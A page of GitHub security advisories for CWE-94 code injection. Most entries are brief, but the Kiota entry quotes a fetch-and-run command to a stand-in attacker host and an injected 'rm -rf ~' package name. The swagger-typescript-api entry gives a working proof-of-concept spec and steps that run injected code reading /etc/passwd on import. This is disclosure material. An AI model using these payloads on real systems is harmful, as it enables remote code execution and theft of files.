CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8416 vulnerabilities reference this CWE, most recent first.
GHSA-HQ92-6QRM-CXXJ
Vulnerability from github – Published: 2025-03-13 09:31 – Updated: 2025-03-13 09:31The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.6.8.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
{
"affected": [],
"aliases": [
"CVE-2025-1119"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-13T07:15:36Z",
"severity": "HIGH"
},
"details": "The Appointment Booking Calendar \u2014 Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.6.8.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.",
"id": "GHSA-hq92-6qrm-cxxj",
"modified": "2025-03-13T09:31:46Z",
"published": "2025-03-13T09:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1119"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3250719/simply-schedule-appointments/trunk/booking-app-new/page-appointment-edit.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1be557db-daa8-4d86-819a-462f29da884b?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-HQ9Q-27G5-QWPJ
Vulnerability from github – Published: 2026-07-24 16:11 – Updated: 2026-07-24 16:11Summary
kiota info — the command developers run to learn which packages to install after generating a client —
read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied
dependencyInstallCommand (and dependency name/version) as the tool's own recommended install
command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised
description:
$ kiota info -d <attacker-spec> -l CSharp
...
Hint: use the install command to install the dependencies.
Example:
curl -s https://attacker.example/x.sh | bash # attacker-controlled
A developer who followed kiota's explicit instruction (run the suggested install command) executed
attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the
Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string
directly, so an "install dependencies" action in the IDE could run it automatically.
Confirmed on Kiota 1.32.4.
Details
x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the
install-command example, and dependencies[].name/version were shown verbatim in the package table:
# spec
x-ms-kiota-info:
languagesInformation:
CSharp:
dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]
Without x-ms-kiota-info, kiota suggests its own trusted command (e.g.
dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it.
kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in
dependencyInstallCommand.
Impact
A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed
kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI
host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output,
could make this automatic. CWE-94 / CWE-829.
Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).
Patches
Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied
dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or
presents a description-provided install command and only surfaces kiota's own built-in, package-manager
templates. The --json output no longer carries a spec-controlled command string for the IDE to run.
Remediation
Upgrade to Kiota 1.32.5 or later. Update the Kiota VS Code extension to a version built against 1.32.5+.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.32.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota.Builder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.32.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59865"
],
"database_specific": {
"cwe_ids": [
"CWE-829",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:11:46Z",
"nvd_published_at": "2026-07-16T16:19:15Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\n`kiota info` \u2014 the command developers run to learn which packages to install after generating a client \u2014\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool\u0027s own recommended install\ncommand**, replacing kiota\u0027s normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d \u003cattacker-spec\u003e -l CSharp\n ...\n Hint: use the install command to install the dependencies.\n Example:\n curl -s https://attacker.example/x.sh | bash # attacker-controlled\n```\n\nA developer who followed kiota\u0027s explicit instruction (run the suggested install command) executed\nattacker-controlled shell \u2014 **command injection \u2192 RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n languagesInformation:\n CSharp:\n dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec\u0027s value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota\u0027s instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota\u0027s hint, or by the IDE).\n\n### Patches\n\nFixed in **1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota\u0027s own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.32.5** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.",
"id": "GHSA-hq9q-27g5-qwpj",
"modified": "2026-07-24T16:11:46Z",
"published": "2026-07-24T16:11:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59865"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/pull/7883"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/kiota"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/releases/tag/v1.32.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`"
}
GHSA-HQF6-9HF3-QR68
Vulnerability from github – Published: 2024-03-20 15:32 – Updated: 2024-08-29 00:31An issue in MyPrestaModules ordersexport v.6.0.2 and before allows a remote attacker to execute arbitrary code via the download.php component.
{
"affected": [],
"aliases": [
"CVE-2024-28396"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-20T14:15:08Z",
"severity": "HIGH"
},
"details": "An issue in MyPrestaModules ordersexport v.6.0.2 and before allows a remote attacker to execute arbitrary code via the download.php component.",
"id": "GHSA-hqf6-9hf3-qr68",
"modified": "2024-08-29T00:31:34Z",
"published": "2024-03-20T15:32:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28396"
},
{
"type": "WEB",
"url": "https://addons.prestashop.com/en/data-import-export/17596-orders-csv-excel-export-pro.html"
},
{
"type": "WEB",
"url": "https://security.friendsofpresta.org/modules/2024/03/14/ordersexport.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HQF7-473F-PM6R
Vulnerability from github – Published: 2023-04-21 21:30 – Updated: 2024-04-04 03:38The SolarWinds Platform was susceptible to the Command Injection Vulnerability. This vulnerability allows a remote adversary with a valid SolarWinds Platform admin account to execute arbitrary commands.
{
"affected": [],
"aliases": [
"CVE-2022-36963"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-21T20:15:07Z",
"severity": "HIGH"
},
"details": "The SolarWinds Platform was susceptible to the Command Injection Vulnerability. This vulnerability allows a remote adversary with a valid SolarWinds Platform admin account to execute arbitrary commands.",
"id": "GHSA-hqf7-473f-pm6r",
"modified": "2024-04-04T03:38:19Z",
"published": "2023-04-21T21:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36963"
},
{
"type": "WEB",
"url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/solarwinds_platform_2023-2_release_notes.htm"
},
{
"type": "WEB",
"url": "https://www.solarwinds.com/trust-center/security-advisories/cve-2022-36963"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HQGV-C4GQ-3VXF
Vulnerability from github – Published: 2022-05-02 03:53 – Updated: 2022-05-02 03:53Unspecified vulnerability in the Indeo codec in Microsoft Windows 2000 SP4, XP SP2 and SP3, and Server 2003 SP2 allows remote attackers to execute arbitrary code via crafted media content, as reported to Microsoft by Dave Lenoe of Adobe.
{
"affected": [],
"aliases": [
"CVE-2009-4312"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-12-13T01:30:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in the Indeo codec in Microsoft Windows 2000 SP4, XP SP2 and SP3, and Server 2003 SP2 allows remote attackers to execute arbitrary code via crafted media content, as reported to Microsoft by Dave Lenoe of Adobe.",
"id": "GHSA-hqgv-c4gq-3vxf",
"modified": "2022-05-02T03:53:33Z",
"published": "2022-05-02T03:53:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4312"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/54645"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11573"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37592"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1023302"
},
{
"type": "WEB",
"url": "http://support.microsoft.com/kb/954157"
},
{
"type": "WEB",
"url": "http://support.microsoft.com/kb/955759"
},
{
"type": "WEB",
"url": "http://support.microsoft.com/kb/976138"
},
{
"type": "WEB",
"url": "http://www.microsoft.com/technet/security/advisory/954157.mspx"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/37251"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/3440"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HQHF-C4J5-73HQ
Vulnerability from github – Published: 2026-06-02 21:30 – Updated: 2026-06-02 21:30The Content Visibility for Divi Builder plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.02 via the 'et_pb_text' shortcode 'cvdb_content_visibility_check' parameter. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
{
"affected": [],
"aliases": [
"CVE-2026-1829"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-02T20:16:33Z",
"severity": "HIGH"
},
"details": "The Content Visibility for Divi Builder plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.02 via the \u0027et_pb_text\u0027 shortcode \u0027cvdb_content_visibility_check\u0027 parameter. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.",
"id": "GHSA-hqhf-c4j5-73hq",
"modified": "2026-06-02T21:30:42Z",
"published": "2026-06-02T21:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1829"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/content-visibility-for-divi-builder/tags/4.01/includes/plugin.class.php#L229"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3543621/content-visibility-for-divi-builder"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2ea89c44-8ed0-4ab7-a049-4d1b03a898c7?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HQJ5-CW9F-RX67
Vulnerability from github – Published: 2026-07-29 14:26 – Updated: 2026-07-29 14:26Summary
swagger-typescript-api interpolates servers[0].url directly into a TypeScript class-body field initializer of the generated fetch HttpClient (templates/base/http-clients/fetch-http-client.ejs:75), without any escaping. A malicious URL containing a " closes the string literal that initializes public baseUrl and exposes the surrounding class body to injection. The most direct exploit declares a new static field whose initializer is an async IIFE — TypeScript evaluates static field initializers at class definition time, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction — no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.
This is the highest-impact sink in the package: the trigger requires only a bare import of the generated module.
Details
createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:
return {
...
baseUrl: serverUrl, // <-- serverUrl = swaggerSchema.servers[0].url, raw
...
};
The fetch http-client template (templates/base/http-clients/fetch-http-client.ejs:75) then interpolates that value into a TS string literal that initializes a public class-body field of the generated HttpClient:
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "<%~ apiConfig.baseUrl %>";
private securityData: SecurityDataType | null = null;
...
}
<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function — escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) — only replaces */ and is not applied to this path.
TypeScript class-body grammar permits any number of field declarations and static blocks between { and }. A spec value of the form:
URL"; static _pwn = (IIFE)(); public x: string = "
produces the following class body:
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "URL";
static _pwn = (IIFE)(); // <-- static field initializer
public x: string = "";
private securityData: SecurityDataType | null = null;
...
}
The static _pwn = (IIFE)() declaration's initializer is evaluated at class definition — i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing public x: string = " reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.
The same Api class (in default/api.ejs) extends HttpClient. Importing the generated module evaluates the HttpClient class declaration during module initialization — no new HttpClient(), no new Api(), no method call. Importing anything that transitively depends on the generated module is sufficient.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious servers[0].url (literal string, JSON-encoded in the spec below):
https://api.example.com"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = "
Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "FetchPayloadAPI", "version": "1.0.0" },
"servers": [
{
"url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \""
}
],
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": { "200": { "description": "OK" } }
}
}
}
}
Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
Generated out/Api.ts (HttpClient class body — payload, Biome-formatted):
export class HttpClient<SecurityDataType = unknown> {
public baseUrl: string = "https://api.example.com";
static _pwn = (async () => {
try {
const fs = await import("node:fs");
const data = fs.readFileSync("/etc/passwd", "utf8");
fs.writeFileSync("/tmp/sta_canary", data);
} catch (e) {}
})();
public x: string = "";
private securityData: SecurityDataType | null = null;
...
}
static _pwn = (async () => { ... })() is a real TypeScript static class field declaration — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.
Result: after a bare await import('./out/Api.bundle.mjs') (no instantiation, no method call), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean public baseUrl: string = "https://api.example.com"; and writes no canary.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:
sta generate --url https://attacker.example/openapi.json— a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project pinned to a spec file that a contributor can modify via PR.
Lifecycle: the injected static initializer fires at module load — the moment the generated module is imported. A consumer does not need to instantiate HttpClient, does not need to construct Api, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.
Privilege: the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.
Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),
where escapeJsStringLiteral produces a properly-escaped JS string literal — at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change also closes the axios sibling sink at templates/base/http-clients/axios-http-client.ejs:71 (filed separately), since both templates read the same apiConfig.baseUrl value.
If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form — fixing only one leaves the other exploitable.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54662"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-94",
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:26:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript class-body field initializer of the generated **fetch** `HttpClient` (`templates/base/http-clients/fetch-http-client.ejs:75`), without any escaping. A malicious URL containing a `\"` closes the string literal that initializes `public baseUrl` and exposes the surrounding *class body* to injection. The most direct exploit declares a new `static` field whose initializer is an async IIFE \u2014 TypeScript evaluates static field initializers at **class definition time**, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction \u2014 no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.\n\nThis is the highest-impact sink in the package: the trigger requires only a bare `import` of the generated module.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n ...\n baseUrl: serverUrl, // \u003c-- serverUrl = swaggerSchema.servers[0].url, raw\n ...\n};\n```\n\nThe fetch http-client template (`templates/base/http-clients/fetch-http-client.ejs:75`) then interpolates that value into a TS string literal that initializes a public class-body field of the generated `HttpClient`:\n\n```ejs\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n public baseUrl: string = \"\u003c%~ apiConfig.baseUrl %\u003e\";\n private securityData: SecurityDataType | null = null;\n ...\n}\n```\n\n`\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The codebase\u0027s only escape function \u2014 `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) \u2014 only replaces `*/` and is not applied to this path.\n\nTypeScript class-body grammar permits any number of field declarations and `static` blocks between `{` and `}`. A spec value of the form:\n\n```\nURL\"; static _pwn = (IIFE)(); public x: string = \"\n```\n\nproduces the following class body:\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n public baseUrl: string = \"URL\";\n static _pwn = (IIFE)(); // \u003c-- static field initializer\n public x: string = \"\";\n private securityData: SecurityDataType | null = null;\n ...\n}\n```\n\nThe `static _pwn = (IIFE)()` declaration\u0027s initializer is evaluated at **class definition** \u2014 i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing `public x: string = \"` reopens a string that the template\u0027s own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\nThe same `Api` class (in `default/api.ejs`) extends `HttpClient`. Importing the generated module evaluates the `HttpClient` class declaration during module initialization \u2014 no `new HttpClient()`, no `new Api()`, no method call. Importing anything that transitively depends on the generated module is sufficient.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 bare-import \u2192 check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\"; static _pwn = (async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} })(); public x: string = \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"FetchPayloadAPI\", \"version\": \"1.0.0\" },\n \"servers\": [\n {\n \"url\": \"https://api.example.com\\\"; static _pwn = (async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} })(); public x: string = \\\"\"\n }\n ],\n \"paths\": {\n \"/ping\": {\n \"get\": {\n \"operationId\": \"ping\",\n \"responses\": { \"200\": { \"description\": \"OK\" } }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import(\u0027./out/Api.bundle.mjs\u0027); await new Promise(r =\u003e setTimeout(r, 300));\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (HttpClient class body \u2014 payload, Biome-formatted):**\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n public baseUrl: string = \"https://api.example.com\";\n static _pwn = (async () =\u003e {\n try {\n const fs = await import(\"node:fs\");\n const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n fs.writeFileSync(\"/tmp/sta_canary\", data);\n } catch (e) {}\n })();\n public x: string = \"\";\n private securityData: SecurityDataType | null = null;\n ...\n}\n```\n\n`static _pwn = (async () =\u003e { ... })()` is a real TypeScript static class field declaration \u2014 Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules `fs.readFileSync(\u0027/etc/passwd\u0027)`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after a bare `await import(\u0027./out/Api.bundle.mjs\u0027)` (no instantiation, no method call), `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `public baseUrl: string = \"https://api.example.com\";` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected `static` initializer fires at **module load** \u2014 the moment the generated module is `import`ed. A consumer does not need to instantiate `HttpClient`, does not need to construct `Api`, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal \u2014 at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change also closes the axios sibling sink** at `templates/base/http-clients/axios-http-client.ejs:71` (filed separately), since both templates read the same `apiConfig.baseUrl` value.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `\u003c%~ apiConfig.baseUrl %\u003e` swapped for the escaped form \u2014 fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-hqj5-cw9f-rx67",
"modified": "2026-07-29T14:26:38Z",
"published": "2026-07-29T14:26:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-hqj5-cw9f-rx67"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template"
}
GHSA-HQP6-MJW3-F586
